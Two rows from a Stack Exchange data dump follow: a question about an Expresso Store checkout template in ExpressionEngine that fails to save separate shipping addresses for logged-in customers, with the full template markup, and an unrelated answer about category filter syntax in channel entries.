  <row Id="14283" PostTypeId="1" CreationDate="2013-10-03T15:04:41.833" Score="1" ViewCount="168" Body="&lt;p&gt;I'm using EE 2.5.2 and Store 1.6.3 and I'm only able to capture a different shipping address if the customer is logged out.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the shipping page, I have two sets of content, one for logged in and one for logged out users.  When a logged out users unticks the &quot;shipping same as billing&quot; box, they can enter different details, which will show up correctly on the next screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, logged in users, when they untick it and enter new details, they don't show up on the next page, they just get the &quot;same as billing details message&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit shop code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {case value=&quot;customer_details&quot;}&#xA;    &amp;lt;section class=&quot;light_brown_flat&quot;&amp;gt; {!-- ===/ login check and guest account registration /=== --}&#xA;  {if logged_out}&#xA;  {exp:channel:entries channel=&quot;static_pages&quot; limit='1' url_title=&quot;billing_intro&quot;}&#xA;  {body_content}{content_body}{/body_content}&#xA;  {/exp:channel:entries}&#xA;  &amp;lt;div class=&quot;grid_7&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;You are Checking out as a Guest&amp;lt;/h3&amp;gt;&#xA;        {exp:store:checkout form_class=&quot;form-horizontal&quot; next=&quot;{segment_1}/confirm&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;' require=&quot;name|address1|address3|country|billing_phone|billing_region&quot; register_member='no'}&#xA;        {if no_items}&#xA;        {redirect=&quot;{segment_1}/checkout&quot;}&#xA;        {/if}&#xA;        &amp;lt;fieldset id=&quot;billing_details&quot;&amp;gt;&#xA;      &amp;lt;input id=&quot;password&quot; type=&quot;hidden&quot; value=&quot;&quot; name=&quot;password&quot;&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:billing_name}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_name} {error:billing_name} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:billing_address1}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_address1} {error:billing_address1} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:billing_address2}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_address2} {error:billing_address2} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:billing_address3}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_address3} {error:billing_address3} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:billing_postcode}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_postcode} {error:billing_postcode} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;grid_5&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:billing_country}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_country} {error:billing_country} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:billing_region}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_region&quot;&amp;gt;Region&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_region} {error:billing_region} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:billing_phone}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_phone} {error:billing_phone} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:order_email}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;order_email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:order_email} {error:order_email} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Is this a Gift?&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom4&quot;&amp;gt;Recipient Name:&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:order_custom4} {error:order_custom4} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom5&quot;&amp;gt;Recipient Email Address:&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:order_custom5} {error:order_custom5} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Special Deliver Instructions&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom6&quot;&amp;gt;Delivery Instrctions&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;              &amp;lt;textarea name=&quot;order_custom6&quot; class=&quot;grid_5&quot;&amp;gt; &amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt; {field:shipping_same_as_billing} Same as Billing Details &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group {if error:shipping_name}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_name} {error:shipping_name} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group {if error:shipping_address1}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_address1} {error:shipping_address1} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group {if error:shipping_address2}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_address2} {error:shipping_address2} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group {if error:shipping_address3}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_address3} {error:shipping_address3} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group {if error:shipping_postcode}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_postcode} {error:shipping_postcode} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;grid_5&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group {if error:shipping_country}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_country} {error:shipping_country} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group {if error:shipping_region}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_region&quot;&amp;gt;Region&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_region} {error:shipping_region} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;control-group {if error:shipping_phone}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_phone} {error:shipping_phone} &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;h4&amp;gt;Terms and Conditions&amp;lt;/h4&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; &#xA;          &amp;lt;!-- label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt; {field:shipping_same_as_billing} I have read and accepted the &amp;lt;a href=&quot;/legal/terms_and_conditions&quot; target=&quot;_blank&quot;&amp;gt;Terms and Conditions&amp;lt;/a&amp;gt; &amp;lt;/label&amp;gt; --&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt;{field:accept_terms}&#xA;                &amp;lt;label for=&quot;accept_terms&quot;&amp;gt;I accept the terms &amp;amp; conditions&amp;lt;/label&amp;gt;&#xA;                {if error:accept_terms}&#xA;&#xA;          &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:accept_terms}&amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;          {/if}&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;div class=&quot;form-actions&quot;&amp;gt; &amp;lt;a href=&quot;{path='{segment_1}/checkout'}&quot; class=&quot;button_empty&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;      &amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Continue&quot; class=&quot;inpbtn&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        {/exp:store:checkout} &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;grid_4&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Have a Account? Login to retrieve billing details (Optional)&amp;lt;/p&amp;gt;&#xA;        {exp:member:login_form id='login_form' return=&quot;shop/customer_details&quot;}&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;username&quot; class=&quot;grid_4&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; class=&quot;grid_4&quot; name=&quot;username&quot; id=&quot;username&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;      &amp;lt;label for=&quot;password&quot; class=&quot;grid_4&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;password&quot; class=&quot;grid_4&quot; name=&quot;password&quot; id=&quot;password&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;submit&quot; id=&quot;login&quot; value=&quot;Log in&quot;  class=&quot;inpbtn&quot; /&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{site_url}login/forgot&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        {/exp:member:login_form} &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;&#xA;  {if logged_in}&#xA;  {exp:channel:entries channel=&quot;static_pages&quot; limit='1' url_title=&quot;billing_intro&quot;}&#xA;  {body_content}{content_body}{/body_content}&#xA;  {/exp:channel:entries} &#xA;  {exp:store:checkout form_class=&quot;form-horizontal&quot; next=&quot;{segment_1}/confirm&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;' require=&quot;name|address1|address3|country|phone&quot;}&#xA;  {if no_items}&#xA;  {redirect=&quot;{segment_1}/checkout&quot;}&#xA;  {/if}&#xA;  &amp;lt;fieldset id=&quot;billing_details&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:billing_name}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_name} {error:billing_name} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:billing_address1}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_address1} {error:billing_address1} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:billing_address2}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_address2} {error:billing_address2} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:billing_address3}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_address3} {error:billing_address3} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:billing_postcode}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_postcode} {error:billing_postcode} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_5&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:billing_country}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_country} {error:billing_country} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:billing_region}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_region&quot;&amp;gt;County/Region&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_region} {error:billing_region} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:billing_phone}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:billing_phone} {error:billing_phone} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group {if error:order_email}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;order_email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:order_email} {error:order_email} &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Is this a Gift?&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom4&quot;&amp;gt;Recipient Name:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:order_custom4} {error:order_custom4} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom5&quot;&amp;gt;Recipient Email Address:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:order_custom5} {error:order_custom5} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Special Deliver Instructions&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;grid6&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom6&quot;&amp;gt;Delivery Instructions&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;textarea name=&quot;order_custom6&quot; class=&quot;grid_5&quot;&amp;gt; &amp;lt;/textarea&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt; {field:shipping_same_as_billing} Same as Billing Details &amp;lt;/label&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:shipping_name}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_name} {error:shipping_name} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:shipping_address1}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_address1} {error:shipping_address1} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:shipping_address2}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_address2} {error:shipping_address2} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:shipping_address3}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_address3} {error:shipping_address3} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:shipping_postcode}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_postcode} {error:shipping_postcode} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;grid_5&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:shipping_country}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_country} {error:shipping_country} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:shipping_region}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_region&quot;&amp;gt;County/Region&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_region} {error:shipping_region} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group {if error:shipping_phone}error{/if}&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt; {field:shipping_phone} {error:shipping_phone} &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset class=&quot;grid_12&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Terms and Conditions&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt; {field:shipping_same_as_billing} I have read and accepted the &amp;lt;a href=&quot;/legal/terms_and_conditions&quot; target=&quot;_blank&quot;&amp;gt;Terms and Conditions&amp;lt;/a&amp;gt; &amp;lt;/label&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;form-actions grid_12&quot;&amp;gt; &amp;lt;a href=&quot;{path='{segment_1}/checkout'}&quot; class=&quot;button_empty&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Continue&quot; class=&quot;inpbtn&quot; /&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;  {/exp:store:checkout}&#xA;  {/if} &amp;lt;/section&amp;gt;&#xA;{/case}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="984" LastEditorUserId="28" LastEditDate="2013-10-03T16:17:40.667" LastActivityDate="2013-10-03T16:17:40.667" Title="Expresso Store, shipping address only working for logged out customers" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14284" PostTypeId="2" ParentId="14094" CreationDate="2013-10-03T15:55:05.247" Score="1" Body="&lt;p&gt;I went in and also noticed that your entry was displayed, using on your {exp:channel:entries} code in the above first block of code, despite category 45, &quot;Beginner&quot;, not being selected in the entry. However, I notice you are using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;41|43|45&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...in &lt;code&gt;{exp:channel:entries}&lt;/code&gt;. I assume in this case you want to have entries with categories 41 AND 43 AND 45, is that correct?&#xA;If so, you need this syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;41&amp;amp;43&amp;amp;45&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the reference in the EE documentation: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-03T15:55:05.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
